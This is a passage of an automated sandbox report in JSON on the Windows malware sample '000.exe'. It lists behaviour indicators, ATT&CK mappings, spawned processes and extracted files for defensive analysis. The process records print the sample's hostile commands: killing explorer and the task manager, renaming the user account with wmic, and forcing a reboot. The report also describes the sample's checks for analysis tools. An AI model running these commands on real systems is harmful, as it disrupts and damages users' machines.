\"CreateCompatibleBitmap\" with parameters {\"hdc\": \"285280565\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"000.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"268503245\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"000.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2583759361\"\n \"cx\": \"0\"\n \"cy\": \"0\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp, 00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"WHERE SchemaOnly\" (Indicator: \"where \"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found string \"WHERE SchemaOnly\" (Indicator: \"where \"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp, 00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")\n Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Executes WMI queries to gather system information","description":"\"WMIC.exe\" issued a query \"SELECT * FROM Win32_UserAccount WHERE name='HAPUBWS'\"","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-183","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"LECT * FROM Win32_UserAccount\" (Indicator: \" Win32_UserAccount\"; Source: \"00000000-00000860.00000001.67797.00B62000.00000004.mdmp\")\n Found string \"ct * from Win32_UserAccount\" (Indicator: \" Win32_UserAccount\"; Source: \"00000000-00002644.00000001.68270.00330000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Adjusts debug privileges","description":"\"taskkill.exe\" adjusted SE_DEBUG_PRIVILEGE on file \"\\RPC Control\\OLECD5D25B1CB63480291400668049F\"\n \"taskkill.exe\" adjusted SE_DEBUG_PRIVILEGE on file \"\\RPC Control\\OLE88EAA450363C46B9BAB8E027B6AD\"\n \"WMIC.exe\" adjusted SE_DEBUG_PRIVILEGE on file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"WMIC.exe\" adjusted SE_DEBUG_PRIVILEGE on file \"C:\\Windows\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui\"","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-28","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"000.exe\" opened \"\\Device\\KsecDD\"\n \"taskkill.exe\" opened \"\\Device\\KsecDD\"\n \"WMIC.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"00000000-00000652.00000000.65219.00520000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"000.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 652)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for the presence of a forensics/monitoring tool","description":"Found string \"VBoxService.exe\" (Indicator: \"vboxservice.exe\"; File: \"00000000-00000652.00000003.76473.00520000.00000004.mdmp\")\n Found string \"AutoIt3.exe\" (Indicator: \"autoit3.exe\"; File: \"00000000-00000652.00000003.76473.00520000.00000004.mdmp\")\n Found string \"tshark.exe\" (Indicator: \"tshark.exe\"; File: \"00000000-00000652.00000003.76473.00520000.00000004.mdmp\")\n Found string \"dumpcap.exe\" (Indicator: \"dumpcap.exe\"; File: \"00000000-00000652.00000003.76473.00520000.00000004.mdmp\")\n Found string \"taskkill.exe\" (Indicator: \"taskkill.exe\"; File: \"00000000-00000652.00000003.76473.00520000.00000004.mdmp\")\n Found string \"%WINDIR%\\system32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00000352-00000C41-38272\")\n Found string \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00001880-00000C25-32182324\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-45","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to enumerate device information","description":"\"000.exe\" called \"SetupDiEnumDeviceInfo\" with parameters {\"DeviceInfoSet\": \"b24df8\"\n \"MemberIndex\": \"0\"\n \"DeviceInfoData\": \"1c0000006ce9364d25e3ce11bfc108002be10318000800000813b40000e0fdff\"}\n \"000.exe\" called \"SetupDiEnumDeviceInfo\" with parameters {\"DeviceInfoSet\": \"b24df8\"\n \"MemberIndex\": \"1\"\n \"DeviceInfoData\": \"1c00000000000000000000000000000000000000000000000000000048004400\"\n \"$error\": \"103\"}","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-194","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"000.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"000.exe\" allocated memory in \"C:\\000.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"System Destruction","name":"Shutdown/reboot a Windows system","description":"Process \"shutdown.exe\" with commandline \"shutdown /f /r /t 0\" (UID: 00000000-00001620)","origin":"Monitored Target","mitre_attack_id":"T1529","relevance":10,"id":"target-120","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"Changes the desktop background picture"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"},{"detail":"Installs hooks/patches the running process"},{"detail":"Tries to modify winlogon helper dll registry key to achieve persistence"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]}]},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":48,"imported_dlls_count":192,"dropped_files_count":0,"extracted_files_count":30,"files_written_count":13,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":6,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["000","malware","Old","agent","autorun","batpenr","bladabindi","crypt","cryptor","downloader","flystudio","lockscreen","njrat","rat","banker","evasive","windows-server-utility"],"sample_flags":["User Comment","Extracted Files"],"sandbox_reports":[{"id":"6a3ba01dd44d21c92106f10c","environment_id":140,"environment_description":"Windows 11 64 bit","state":"ERROR","error_type":"Internal error has occurred (Code: DC:DETONATION-ERROR)","verdict":"undetected","submit_name":"virtualvox.exe","analysis_start_time":"2026-06-24T09:15:09+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"6990f37b27905b4c4b031e8c","environment_id":140,"environment_description":"Windows 11 64 bit","state":"ERROR","error_type":"Internal error has occurred (Code: DC:DETONATION-ERROR)","verdict":"undetected","submit_name":"chocola.exe","analysis_start_time":"2026-02-14T22:13:15+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"697c9b678f3020f1a207cfce","environment_id":140,"environment_description":"Windows 11 64 bit","state":"ERROR","error_type":"Internal error has occurred (Code: DC:DETONATION-ERROR)","verdict":"undetected","submit_name":"000.exe","analysis_start_time":"2026-01-30T11:52:07+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"68a206d959252ff4af0545b1","environment_id":140,"environment_description":"Windows 11 64 bit","state":"ERROR","error_type":"Internal error has occurred (Code: DC:DETONATION-ERROR)","verdict":"undetected","submit_name":"000.exe","analysis_start_time":"2025-08-17T16:44:09+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"688a0daee6cbaad69c010201","environment_id":140,"environment_description":"Windows 11 64 bit","state":"ERROR","error_type":"Internal error has occurred (Code: DC:DETONATION-ERROR)","verdict":"undetected","submit_name":"000.exe","analysis_start_time":"2025-07-30T12:18:54+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"65708f7749e89eb83f018aaa","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ser.Zusy","submit_name":"000.exe","analysis_start_time":"2023-12-06T15:51:15+00:00","indicators_count":{"informative":174,"suspicious":41,"malicious":13},"tags":["Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"64c99f98496c480bc802a4c0","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ursu","submit_name":"DDoS Attack Server, IP, URL.exe","analysis_start_time":"2023-08-02T00:28:14+00:00","indicators_count":{"informative":144,"suspicious":48,"malicious":12},"tags":["Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"64108fee057e63e241091cf9","environment_id":160,"environment_description":"Windows 10 64 bit","state":"ERROR","error_type":"Internal error has occurred (Code: DC:TIMEOUT)","verdict":"undetected","submit_name":"000.exe","analysis_start_time":"2023-03-14T15:17:03+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"60ac2ab1ef733d4a266a13f6","environment_id":100,"environment_description":"Windows 7 32 bit","state":"ERROR","error_type":"Failed to save report to webservice","verdict":"undetected","submit_name":"000.exe","analysis_start_time":"2021-05-24T22:37:37+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"5d48a9eb0288383d93929e2f","environment_id":120,"environment_description":"Windows 7 64 bit","state":"ERROR","error_type":"Internal error has occurred (Code: DSM:TIMED-OUT)","verdict":"undetected","submit_name":"000.exe","analysis_start_time":"2020-01-08T03:16:57+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"5cb4059f0388387297dd495b","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":70,"malware_family":"Gen:Variant.Razy","submit_name":"000.exe","analysis_start_time":"2019-04-15T04:07:01+00:00","indicators_count":{"informative":2,"suspicious":1,"malicious":3},"tags":["User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}],"processes":[{"pid":652,"ppid":0,"name":"000.exe","command_line":"","sha256":"4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47","normalized_path":"C:\\000.exe","uid":"00000000-00000652","icon":"$4b"},{"pid":352,"ppid":652,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\windl.bat\"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00000652","uid":"00000000-00000352"},{"pid":1880,"ppid":352,"name":"taskkill.exe","command_line":"taskkill /f /im explorer.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\SysWOW64\\taskkill.exe","parent_uid":"00000000-00000352","uid":"00000000-00001880"},{"pid":1924,"ppid":352,"name":"taskkill.exe","command_line":"taskkill /f /im taskmgr.exe","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\SysWOW64\\taskkill.exe","parent_uid":"00000000-00000352","uid":"00000000-00001924"},{"pid":860,"ppid":352,"name":"WMIC.exe","command_line":"wmic useraccount where name='%OSUSER%' set FullName='UR NEXT'","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\SysWOW64\\Wbem\\WMIC.exe","parent_uid":"00000000-00000352","uid":"00000000-00000860"},{"pid":2644,"ppid":352,"name":"WMIC.exe","command_line":"wmic useraccount where name='%OSUSER%' rename 'UR NEXT'","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\SysWOW64\\Wbem\\WMIC.exe","parent_uid":"00000000-00000352","uid":"00000000-00002644"},{"pid":1620,"ppid":352,"name":"shutdown.exe","command_line":"shutdown /f /r /t 0","sha256":"4f7ced626f7ddeeddbbfb242283c30d290532d7c9fd9e093b2234f51800e960d","normalized_path":"%WINDIR%\\SysWOW64\\shutdown.exe","parent_uid":"00000000-00000352","uid":"00000000-00001620"}],"all_imported_dlls":["kernel32.dll","KernelBase.dll","advapi32.dll","msvcrt.dll","sechost.dll","rpcrt4.dll","ntdll.dll","mscoree.dll","rmclient.dll","wmpeffects.dll","apphelp.dll","ucrtbase.dll","clrjit.dll","shell32.dll","powrprof.dll","msctfui.dll","mfsensorgroup.dll","System.ni.dll","CoreUIComponents.dll","wbemprox.dll","System.Core.ni.dll","PresentationCore.ni.dll","AudioSes.dll","d3d11.dll","winmm.dll","psapi.dll","mfperfhelper.dll","UIAutomationTypes.dll","mfps.dll","gdi32full.dll","PresentationFramework.ni.dll","System.Configuration.ni.dll","winsta.dll","bcryptprimitives.dll","wpfgfx_v0400.dll","devobj.dll","dxgi.dll","msdmo.dll","combase.dll","uxtheme.dll","System.Xaml.ni.dll","msctf.dll","WMVCORE.DLL","ntmarta.dll","dbghelp.dll","wbemsvc.dll","wtsapi32.dll","urlmon.dll","imagehlp.dll","iertutil.dll","atlthunk.dll","kernel.appcore.dll","Windows.StateRepositoryPS.dll","cmdext.dll","WindowsBase.ni.dll","framedynos.dll","oleaut32.dll","D3DCompiler_47.dll","mfasfsrcsnk.dll","fltLib.dll","mscoreei.dll","mscorlib.ni.dll","userenv.dll","cldapi.dll","twinapi.appcore.dll","mpr.dll","DWrite.dll","srvcli.dll","WinTypes.dll","UIAutomationCore.dll","wow64cpu.dll","VxSSL32.dll","msvcp_win.dll","profapi.dll","msIso.dll","CompPkgSup.dll","WMASF.DLL","avrt.dll","PresentationFramework.Aero2.ni.dll","DataExchange.dll","ws2_32.dll","gdi32.dll","version.dll","windows.storage.dll","GdiPlus.dll","MSOXMLMF.DLL","bcrypt.dll","msvcp140_clr0400.dll","d3d9.dll","d3d10warp.dll","netutils.dll","CoreMessaging.dll","mftranscode.dll","mfmp4srcsnk.dll","COLORCNV.DLL","msmpeg2vdec.dll","sxs.dll","fastprox.dll","imm32.dll","mf.dll","mfcore.dll","Windows.Media.dll","wow64win.dll","cryptsp.dll","rsaenh.dll","System.Windows.Forms.dll","propsys.dll","Windows.UI.dll","dcomp.dll","shlwapi.dll","RTWorkQ.dll","TextInputFramework.dll","crypt32.dll","vcruntime140_clr0400.dll","ucrtbase_clr0400.dll","cfgmgr32.dll","MMDevAPI.dll","msasn1.dll","wbemcomn.dll","wow64.dll","PresentationNative_v0400.dll","evr.dll","msxml6.dll","sspicli.dll","clr.dll","dwmapi.dll","UIAutomationProvider.dll","System.Xml.ni.dll","clbcatq.dll","aepic.dll","user32.dll","ole32.dll","wmp.dll","wmploc.DLL","cryptbase.dll","SHCore.dll","ksuser.dll","winmmbase.dll","win32u.dll","dxva2.dll","mfplat.dll","mswsock.dll","winbrand.dll","PresentationFramework.Aero.ni.dll","msxml3r.dll","netapi32.dll","slc.dll","winhttp.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","wininet.dll","wkscli.dll","System.Drawing.ni.dll","webio.dll","tzres.dll","samcli.dll","nsi.dll","normaliz.dll","Wldap32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","IPHLPAPI.DLL","comctl32.dll","wship6.dll","setupapi.dll","mscorrc.dll","oleaccrc.dll","wmiutils.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","nlssorting.dll","winnsi.dll","System.Windows.Forms.ni.dll","d3d8thk.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","pcwum.dll","shdocvw.dll","usp10.dll","lpk.dll","atl.dll","ntdsapi.dll","oleacc.dll","RpcRtRemote.dll","api-ms-win-core-synch-l1-2-0.dll","provsvc.dll","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","wintrust.dll","msvcr90.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","rgb9rast.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","msxml3.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"rniw.exe","sha256":"70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"windl.bat","sha256":"b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"one.rtf","sha256":"e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"CurrentDatabase_400.wmdb","sha256":"183e38803eb8a21474b4404ec11fe1a1fbb9d2ff1d12609cfd068a71838d90a3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"icon.ico","sha256":"84a1c2713642090523f05d9fb015c537fd210d3200cadaf442bb67cf1834b356","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"text.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"v.mp4","sha256":"95374cf300097872a546d89306374e7cf2676f7a8b4c70274245d2dccfc79443","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N3XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N2XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N17XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N23XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N5XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N11XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N7XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N6XT.txt","sha256":"38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"name":"UR NEXT UR NEXT 